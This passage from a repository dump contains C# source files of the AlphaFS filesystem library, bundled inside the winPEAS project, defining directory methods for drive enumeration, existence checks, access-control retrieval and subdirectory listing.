EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateLogicalDrives.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Enumerates the drive names of all logical drives on the Computer with the ready status. /// An IEnumerable of type that represents the logical drives on the Computer. [SecurityCritical] public static IEnumerable EnumerateLogicalDrives() { return EnumerateLogicalDrivesCore(false, true); } /// [AlphaFS] Enumerates the drive names of all logical drives on the Computer. /// An IEnumerable of type that represents the logical drives on the Computer. /// Retrieve logical drives as known by the Environment. /// Retrieve only when accessible (IsReady) logical drives. [SecurityCritical] public static IEnumerable EnumerateLogicalDrives(bool fromEnvironment, bool isReady) { return EnumerateLogicalDrivesCore(fromEnvironment, isReady); } /// Enumerates the drive names of all logical drives on the Computer. /// An IEnumerable of type that represents the logical drives on the Computer. /// Retrieve logical drives as known by the Environment. /// Retrieve only when accessible (IsReady) logical drives. [SecurityCritical] internal static IEnumerable EnumerateLogicalDrivesCore(bool fromEnvironment, bool isReady) { // Get from Environment. if (fromEnvironment) { var drivesEnv = isReady ? Environment.GetLogicalDrives().Where(ld => File.ExistsCore(null, true, ld, PathFormat.FullPath)) : Environment.GetLogicalDrives().Select(ld => ld); foreach (var drive in drivesEnv) { // Optionally check Drive .IsReady. if (isReady) { if (File.ExistsCore(null, true, drive, PathFormat.FullPath)) yield return new DriveInfo(drive); } else yield return new DriveInfo(drive); } yield break; } // Get through NativeMethod. var lastError = NativeMethods.GetLogicalDrives(); // MSDN: GetLogicalDrives(): If the function fails, the return value is zero. if (lastError == Win32Errors.ERROR_SUCCESS) NativeError.ThrowException(lastError); var drives = lastError; var count = 0; while (drives != 0) { if ((drives & 1) != 0) ++count; drives >>= 1; } var result = new string[count]; char[] root = {'A', Path.VolumeSeparatorChar}; drives = lastError; count = 0; while (drives != 0) { if ((drives & 1) != 0) { var drive = new string(root); if (isReady) { // Optionally check Drive .IsReady property. if (File.ExistsCore(null, true, drive, PathFormat.FullPath)) yield return new DriveInfo(drive); } else { // Ready or not. yield return new DriveInfo(drive); } result[count++] = drive; } drives >>= 1; root[0]++; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.Exists.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Determines whether the given path refers to an existing directory on disk. /// /// Returns true if refers to an existing directory. /// Returns false if the directory does not exist or an error occurs when trying to determine if the specified file exists. /// /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// The path to test. [SecurityCritical] public static bool Exists(string path) { return File.ExistsCore(null, true, path, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Determines whether the given path refers to an existing directory on disk. /// /// Returns true if refers to an existing directory. /// Returns false if the directory does not exist or an error occurs when trying to determine if the specified file exists. /// /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// The path to test. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool Exists(string path, PathFormat pathFormat) { return File.ExistsCore(null, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.ExistsDrive.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Checks if specified is a local- or network drive. /// The path to check, such as: "C:" or "\\server\c$". /// true if the drive exists, false otherwise. public static bool ExistsDrive(string path) { return ExistsDriveOrFolderOrFile(null, path, false, (int) Win32Errors.NO_ERROR, false, false); } /// [AlphaFS] Checks if specified is a local- or network drive. /// The transaction. /// The path to check, such as: "C:" or "\\server\c$". /// true if the drive exists, false otherwise. public static bool ExistsDrive(KernelTransaction transaction, string path) { return ExistsDriveOrFolderOrFile(transaction, path, false, (int) Win32Errors.NO_ERROR, false, false); } /// [AlphaFS] Checks if specified is a local- or network drive. /// The transaction. /// The path to check, such as: "C:" or "\\server\c$". /// Throws DeviceNotReadyException when drive is not found. /// true if the drive exists, false otherwise. [Obsolete("This function will be removed.")] public static bool ExistsDrive(KernelTransaction transaction, string path, bool throwIfDriveNotExists) { return ExistsDriveOrFolderOrFile(transaction, path, false, (int) Win32Errors.NO_ERROR, throwIfDriveNotExists, false); } /// [AlphaFS] Checks if specified is a local- or network drive. /// true if the drive exists, false otherwise. internal static bool ExistsDriveOrFolderOrFile(KernelTransaction transaction, string path, bool isFolder, int lastError, bool throwIfDriveNotExists, bool throwIfFolderOrFileNotExists) { if (Utils.IsNullOrWhiteSpace(path)) return false; var drive = GetDirectoryRootCore(transaction, path, Path.IsPathRooted(path) ? PathFormat.FullPath : PathFormat.RelativePath); var driveExists = null != drive && File.ExistsCore(transaction, true, drive, PathFormat.FullPath); var regularPath = Path.GetCleanExceptionPath(path); if (!driveExists && throwIfDriveNotExists || lastError == Win32Errors.ERROR_NOT_READY) throw new DeviceNotReadyException(drive, true); throwIfFolderOrFileNotExists = throwIfFolderOrFileNotExists && lastError != Win32Errors.NO_ERROR; if (throwIfFolderOrFileNotExists) { if (lastError != Win32Errors.NO_ERROR) { if (lastError == Win32Errors.ERROR_PATH_NOT_FOUND) throw new DirectoryNotFoundException(regularPath); if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND) { if (isFolder) throw new DirectoryNotFoundException(regularPath); throw new FileNotFoundException(regularPath); } } } return driveExists; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.ExistsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Determines whether the given path refers to an existing directory on disk. /// /// Returns true if refers to an existing directory. /// Returns false if the directory does not exist or an error occurs when trying to determine if the specified file exists. /// /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// The transaction. /// The path to test. [SecurityCritical] public static bool ExistsTransacted(KernelTransaction transaction, string path) { return File.ExistsCore(transaction, true, path, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given path refers to an existing directory on disk. /// /// Returns true if refers to an existing directory. /// Returns false if the directory does not exist or an error occurs when trying to determine if the specified file exists. /// /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// The transaction. /// The path to test. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool ExistsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.ExistsCore(transaction, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Security.AccessControl; using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets a object that encapsulates the access control list (ACL) entries for the specified directory. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// The path to a directory containing a object that describes the file's access control list (ACL) information. [SecurityCritical] public static DirectorySecurity GetAccessControl(string path) { return File.GetAccessControlCore(true, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Gets a object that encapsulates the access control list (ACL) entries for the specified directory. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// The path to a directory containing a object that describes the file's access control list (ACL) information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DirectorySecurity GetAccessControl(string path, PathFormat pathFormat) { return File.GetAccessControlCore(true, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, pathFormat); } /// Gets a object that encapsulates the specified type of access control list (ACL) entries for a particular directory. /// A object that encapsulates the access control rules for the directory described by the parameter. /// /// /// /// The path to a directory containing a object that describes the directory's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. [SecurityCritical] public static DirectorySecurity GetAccessControl(string path, AccessControlSections includeSections) { return File.GetAccessControlCore(true, path, includeSections, PathFormat.RelativePath); } /// [AlphaFS] Gets a object that encapsulates the specified type of access control list (ACL) entries for a particular directory. /// A object that encapsulates the access control rules for the directory described by the parameter. /// /// /// /// The path to a directory containing a object that describes the directory's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DirectorySecurity GetAccessControl(string path, AccessControlSections includeSections, PathFormat pathFormat) { return File.GetAccessControlCore(true, path, includeSections, pathFormat); } /// [AlphaFS] Gets a object that encapsulates the access control list (ACL) entries for the specified directory handle. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// A to a directory containing a object that describes the directory's access control list (ACL) information. [SecurityCritical] public static DirectorySecurity GetAccessControl(SafeFileHandle handle) { return File.GetAccessControlHandleCore(false, true, handle, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, SECURITY_INFORMATION.None); } /// [AlphaFS] Gets a object that encapsulates the specified type of access control list (ACL) entries for a particular directory handle. /// A object that encapsulates the access control rules for the directory described by the parameter. /// /// /// /// A to a directory containing a object that describes the directory's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. [SecurityCritical] public static DirectorySecurity GetAccessControl(SafeFileHandle handle, AccessControlSections includeSections) { return File.GetAccessControlHandleCore(false, true, handle, includeSections, SECURITY_INFORMATION.None); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetCurrentDirectory.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// /// Gets the current working directory of the application. /// /// MSDN: Multithreaded applications and shared library code should not use the GetCurrentDirectory function and should avoid using relative path names. /// The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetFullPathName functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// The path of the current working directory without a trailing directory separator. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate"), SecurityCritical] public static string GetCurrentDirectory() { var nameBuffer = new StringBuilder(NativeMethods.MaxPathUnicode); // GetCurrentDirectory() // 2016-09-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2017-05-30: MSDN confirms LongPath usage: Starting with Windows 10, version 1607 // 2018-01-15: MSDN confirmation is gone? var folderNameLength = NativeMethods.GetCurrentDirectory((uint) nameBuffer.Capacity, nameBuffer); var lastError = Marshal.GetLastWin32Error(); if (folderNameLength == 0) NativeError.ThrowException(lastError); if (folderNameLength > NativeMethods.MaxPathUnicode) throw new PathTooLongException(string.Format(CultureInfo.InvariantCulture, "Path is greater than {0} characters: {1}", NativeMethods.MaxPathUnicode, folderNameLength)); return nameBuffer.ToString(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectories.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns the names of subdirectories (including their paths) in the specified directory. /// An array of the full names (including paths) of subdirectories in the specified path, or an empty array if no directories are found. /// /// The names returned by this method are prefixed with the directory information provided in path. /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. [SecurityCritical] public static string[] GetDirectories(string path) { return EnumerateFileSystemEntryInfosCore(true, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray(); } /// Returns the names of subdirectories (including their paths) that match the specified search pattern in the specified directory. /// An array of the full names (including paths) of the subdirectories that match the search pattern in the specified directory, or an empty array if no directories are found. /// /// The names returned by this method are prefixed with the directory information provided in path. /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static string[] GetDirectories(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray(); } /// Returns the names of the subdirectories (including their paths) that match the specified search pattern in the specified directory, and optionally searches subdirectories. /// An array of the full names (including paths) of the subdirectories that match the specified criteria, or an empty array if no directories are found. /// /// The names returned by this method are prefixed with the directory information provided in path. /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static string[] GetDirectories(string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(true, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectoriesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns the names of subdirectories (including their paths) in the specified directory. /// An array of the full names (including paths) of subdirectories in the specified path, or an empty array if no directories are found. /// /// The names returned by this method are prefixed with the directory information provided in path. /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. [SecurityCritical] public static string[] GetDirectoriesTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Returns the names of subdirectories (including their paths) that match the specified search pattern in the specified directory. /// An array of the full names (including paths) of the subdirectories that match the search pattern in the specified directory, or an empty array if no directories are found. /// /// The names returned by this method are prefixed with the directory information provided in path. /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static string[] GetDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Returns the names of the subdirectories (including their paths) that match the specified search pattern in the specified directory, and optionally searches subdirectories. /// An array of the full names (including paths) of the subdirectories that match the specified criteria, or an empty array if no directories are found. /// /// The names returned by this method are prefixed with the directory information provided in path. /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static string[] GetDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(true, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectoryRoot.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns the volume information, root information, or both for the specified path. /// The volume information, root information, or both for the specified path, or null if path does not contain root directory information. /// /// /// /// The path of a file or directory. [SecurityCritical] public static string GetDirectoryRoot(string path) { return GetDirectoryRootCore(null, path, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Returns the volume information, root information, or both for the specified path. /// The volume information, root information, or both for the specified path, or null if path does not contain root directory information. /// /// /// /// The path of a file or directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetDirectoryRoot(string path, PathFormat pathFormat) { return GetDirectoryRootCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetDirectoryRootTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns the volume information, root information, or both for the specified path. /// The volume information, root information, or both for the specified path, or null if path does not contain root directory information. /// /// /// /// The transaction. /// The path of a file or directory. [SecurityCritical] public static string GetDirectoryRootTransacted(KernelTransaction transaction, string path) { return GetDirectoryRootCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the volume information, root information, or both for the specified path. /// The volume information, root information, or both for the specified path, or null if path does not contain root directory information. /// /// /// /// The transaction. /// The path of a file or directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetDirectoryRootTransacted(KernelTransaction 